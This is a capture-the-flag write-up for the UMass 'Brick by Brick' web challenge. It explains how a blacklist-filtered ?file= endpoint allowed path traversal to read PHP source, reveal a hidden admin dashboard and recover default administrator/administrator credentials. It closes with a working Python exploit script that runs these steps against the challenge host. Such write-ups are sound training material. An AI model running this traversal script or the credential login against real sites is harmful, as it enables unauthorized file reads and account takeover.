Brick by Brick — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: a PHP website exposed internal documentation via robots.txt. Those documents described a file-read endpoint that could be abused with path traversal to read application source code, discover a hidden admin dashboard, and recover both credentials and the flag.

Analysis

The main clue was robots.txt, which pointed to /internal-docs/. One internal document described a file read feature that accepted ?file=.

Reading index.php showed the server prepended /var/www/html/ to the user-controlled filename and only blocked inputs starting with /etc/passwd. Because the application did not canonicalize the path, traversal sequences such as ../ still worked, giving a local file inclusion / arbitrary file read primitive.

Using that primitive on config.php revealed the hidden route /dashboard-admin.php. Reading that file then exposed default credentials administrator / administrator and the same flag constant returned after login.

Solution

1. Request robots.txt and discover /internal-docs/.
2. Read the internal documentation and identify the vulnerable ?file= endpoint.
3. Use traversal to read index.php and confirm weak blacklist-based filtering.
4. Read config.php to recover the hidden admin dashboard path.
5. Read dashboard-admin.php to obtain the default credentials and the flag constant.
6. Log in with administrator / administrator and retrieve the flag from the dashboard.

#!/usr/bin/env python3
import re
import requests

BASE = "http://brick-by-brick.web.ctf.umasscybersec.org"
SESSION = requests.Session()

def read_file(path: str) -> str:
    r = SESSION.get(f"{BASE}/internal-docs/view.php", params={"file": path}, timeout=10)
    r.raise_for_status()
    return r.text

index_php = read_file("../../../../var/www/html/index.php")
print("[+] index.php read:", "?file=" in index_php)

config_php = read_file("../../../../var/www/html/config.php")
dashboard = re.search(r"dashboard-admin\.php", config_php)
print("[+] Hidden dashboard:", dashboard.group(0) if dashboard else "not found")

dashboard_php = read_file("../../../../var/www/html/dashboard-admin.php")
flag = re.search(r"UMASS\{[^}]+\}", dashboard_php)
print("[+] Flag from source:", flag.group(0) if flag else "not found")

login = SESSION.post(
    f"{BASE}/dashboard-admin.php",
    data={"username": "administrator", "password": "administrator"},
    timeout=10,
)
login.raise_for_status()
flag_page = re.search(r"UMASS\{[^}]+\}", login.text)
print("[+] Flag after login:", flag_page.group(0) if flag_page else "not found")